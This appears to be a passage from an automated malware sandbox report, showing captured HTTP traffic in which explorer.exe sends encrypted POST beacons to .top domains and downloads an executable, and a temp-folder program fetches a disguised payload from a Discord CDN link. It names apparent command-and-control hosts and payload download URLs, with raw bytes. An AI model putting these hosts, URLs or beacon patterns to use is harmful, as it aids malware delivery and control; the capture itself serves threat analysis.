Nov 9, 2021 22:20:50.087461948 CET	1213	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 3e cd ca 0e Data Ascii: `K2wF0Gj[lwmwu$f]d>%{7DYu0"3#Yhp5wXD)=c&/b4~91seVOFFJ$Lg?FlcG I3t<OV-T }{:qR]a\ ;VF!
Nov 9, 2021 22:20:51.068881035 CET	1214	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 08 c4 55 a1 a7 3d ef 3a 1a 1a b3 ee d2 43 e2 00 8d 01 c9 ba 78 da 7e ac ec c3 02 29 f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OOj{CU=:Cx~)~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49781	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:51.417298079 CET	1214	OUT	GET /downloads/toolspab2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou7000.top
Nov 9, 2021 22:20:52.278337955 CET	1216	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:20:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 21:20:02 GMT ETag: "47800-5d061ac268811" Accept-Ranges: bytes Content-Length: 292864 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00 50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 72 02 c0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 f0 72 02 00 0a 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF\|CvqRichPELMd_p`0@t1PrBr@{@.text `.data,do0@.rsrcBrD*@@.relocrn@B
Nov 9, 2021 22:20:52.278364897 CET	1217	IN	Data Raw: 86 1e 03 00 00 00 00 00 52 19 03 00 66 19 03 00 70 19 03 00 88 19 03 00 a4 19 03 00 bc 19 03 00 da 19 03 00 f0 19 03 00 08 1a 03 00 1c 1a 03 00 36 1a 03 00 4a 1a 03 00 64 1a 03 00 80 1a 03 00 90 1a 03 00 ac 1a 03 00 bc 1a 03 00 cc 1a 03 00 de 1a Data Ascii: Rfp6Jd 4FdvD"2BTv<Tt
Nov 9, 2021 22:20:52.278382063 CET	1218	IN	Data Raw: 63 00 5c 00 5f 00 73 00 66 00 74 00 62 00 75 00 66 00 2e 00 63 00 00 00 00 00 73 00 74 00 72 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 66 00 6c 00 61 00 67 00 20 00 3d 00 3d 00 20 00 30 00 20 00 7c 00 7c 00 20 00 66 00 6c 00 61 00 Data Ascii: c\_sftbuf.cstr != NULLflag == 0 \|\| flag == 1(null)(null)EEE50P( 8PX700WP `h````xpxxxxf:\dd\vctools\crt_bld\sel
Nov 9, 2021 22:20:52.278403044 CET	1220	IN	Data Raw: 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 68 00 6f 00 77 00 20 00 79 00 6f 00 75 00 72 00 20 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 63 00 61 00 6e 00 20 00 63 00 61 00 75 00 73 00 65 00 20 00 61 00 6e 00 20 00 Data Ascii: rmation on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.memcpy_s(szShort
Nov 9, 2021 22:20:52.278423071 CET	1221	IN	Data Raw: 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 66 00 69 00 6c 00 65 00 6e 00 6f 00 2e 00 63 00 00 00 Data Ascii: ctools\crt_bld\self_x86\crt\src\fileno.cCorExitProcessmscoree.dll
Nov 9, 2021 22:20:52.278445005 CET	1223	IN	Data Raw: 2d 00 3e 00 6c 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 52 00 45 00 51 00 00 00 00 00 00 00 00 00 5f 00 43 00 72 00 74 00 49 00 73 00 56 00 61 00 6c 00 69 00 64 00 48 00 65 00 Data Ascii: ->lRequest == IGNORE_REQ_CrtIsValidHeapPointer(pUserData)The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()Error: memory allocation: bad memor
Nov 9, 2021 22:20:52.278469086 CET	1224	IN	Data Raw: 75 66 66 65 72 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 5f 00 42 00 4c 00 4f 00 43 00 4b 00 5f 00 54 00 59 00 50 00 45 00 5f 00 49 00 53 00 5f 00 56 00 41 00 4c 00 49 00 44 00 28 00 70 00 Data Ascii: uffer.Memory allocated at %hs(%d)._BLOCK_TYPE_IS_VALID(pHead->nBlockUse)Client hook free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_db
Nov 9, 2021 22:20:52.278490067 CET	1225	IN	Data Raw: 74 20 30 78 25 70 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 00 5f 00 43 00 72 00 74 00 4d 00 65 00 6d 00 43 00 68 00 65 00 63 00 6b 00 70 00 6f 00 69 00 6e 00 74 00 00 00 73 00 74 00 61 00 Data Ascii: t 0x%p.Memory allocated at %hs(%d)._CrtMemCheckpointstate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subty
Nov 9, 2021 22:20:52.278510094 CET	1227	IN	Data Raw: 43 00 52 00 54 00 20 00 6d 00 6f 00 72 00 65 00 20 00 74 00 68 00 61 00 6e 00 20 00 6f 00 6e 00 63 00 65 00 2e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 64 00 69 00 63 00 61 00 74 00 65 00 73 00 20 00 61 00 20 00 62 00 75 00 67 00 20 00 Data Ascii: CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028- unable to initia
Nov 9, 2021 22:20:52.278532028 CET	1228	IN	Data Raw: 6f 00 72 00 74 00 20 00 6e 00 6f 00 74 00 20 00 6c 00 6f 00 61 00 64 00 65 00 64 00 0d 00 0a 00 00 00 00 00 00 00 00 00 02 00 00 00 98 39 40 00 08 00 00 00 40 39 40 00 09 00 00 00 e8 38 40 00 0a 00 00 00 a0 38 40 00 10 00 00 00 48 38 40 00 11 00 Data Ascii: ort not loaded9@@9@8@8@H8@7@7@H7@6@6@6@5@X5@5@P4@ 3@!1@x1@y1@z1@1@x1@Microsoft Visu
Nov 9, 2021 22:20:52.582031012 CET	1230	IN	Data Raw: 26 00 26 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 66 00 68 00 20 00 3c 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 5f 00 6e 00 68 00 61 00 6e 00 64 00 6c 00 65 00 29 00 00 00 00 00 28 00 22 00 Data Ascii: && (unsigned)fh < (unsigned)_nhandle)("Buffer too small", 0)sizeInBytes > 0_wctomb_s_lf:\dd\vctools\crt_bld\self_x86\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49783	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:56.667695045 CET	1529	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ruebf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 330 Host: nalirou70.top
Nov 9, 2021 22:20:56.667737007 CET	1529	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 9e 66 5d 02 c9 a1 c1 64 23 b0 8a 7d Data Ascii: `K2wF0Gj[lwmwu$f]d#}Wx .wZMnEw4`p"*l=j+ ^WzqG0P ZG_iPMbVz/UBcv%DD`s;Z=hIqQf>{EGUboqtc\|5E[#
Nov 9, 2021 22:20:57.647743940 CET	1530	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49784	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:58.655348063 CET	1531	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhiaeb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: nalirou70.top
Nov 9, 2021 22:20:58.656431913 CET	1531	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 3d d0 ad 2d Data Ascii: `K2wF0Gj[lwmwu$f]d=-'{(wlK^S]1 vL\|GyV
Nov 9, 2021 22:20:59.633724928 CET	1532	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49786	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:04.788521051 CET	1533	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjvrsspwd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: nalirou70.top
Nov 9, 2021 22:21:04.788553953 CET	1533	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 06 db 87 6e Data Ascii: `K2wF0Gj[lwmwu$f]dnWjla50D[E;SjX%ndUI>PTy<~y6aJDW$zIPX(Q.sE,k28LB_I7e\|]nom@l/EzfY~#,
Nov 9, 2021 22:21:05.768644094 CET	1564	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49788	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:06.100507975 CET	1571	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hjuvthale.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: nalirou70.top
Nov 9, 2021 22:21:06.100537062 CET	1571	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 10 d0 84 2c Data Ascii: `K2wF0Gj[lwmwu$f]d,8\|p&gBy(XR4jyId%{h1&O]5J@WmkifWo
Nov 9, 2021 22:21:07.085383892 CET	1701	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49868	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:21:48 UTC	0	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-11-09 21:21:48 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:48 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6aba17c8bf016963-FRA Accept-Ranges: bytes Age: 1241204 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Wed, 09 Nov 2022 21:21:48 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5oUOkhR9pWpnZgv0jKBmpMWPGbEo3PjL5cS%2BkukD048ebitCz9exEHMGoox%2FDaMh2K7kigqvCvcedNWoECtYehJvvfFQTCH1t1z05KyI8y9MINSojTZgRBfFIlFfiH17Sdmm%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-11-09 21:21:48 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-11-09 21:21:48 UTC	1	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt OOx O
2021-11-09 21:21:48 UTC	2	IN	Data Raw: 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 52 20 59 78 20 59 4b 20 6b 4b 20 4f 6f 4b 20 4f 78 52 Data Ascii: x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx OtR Yx YK kK OoK OxR
2021-11-09 21:21:48 UTC	4	IN	Data Raw: 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 20 4f 4f 6f 20 4f 4f 4b 20 45 78 20 52 4b 20 6b 45 20 59 52 20 6f 51 20 6f 6f 20 4f 78 51 20 4f 4f 6f 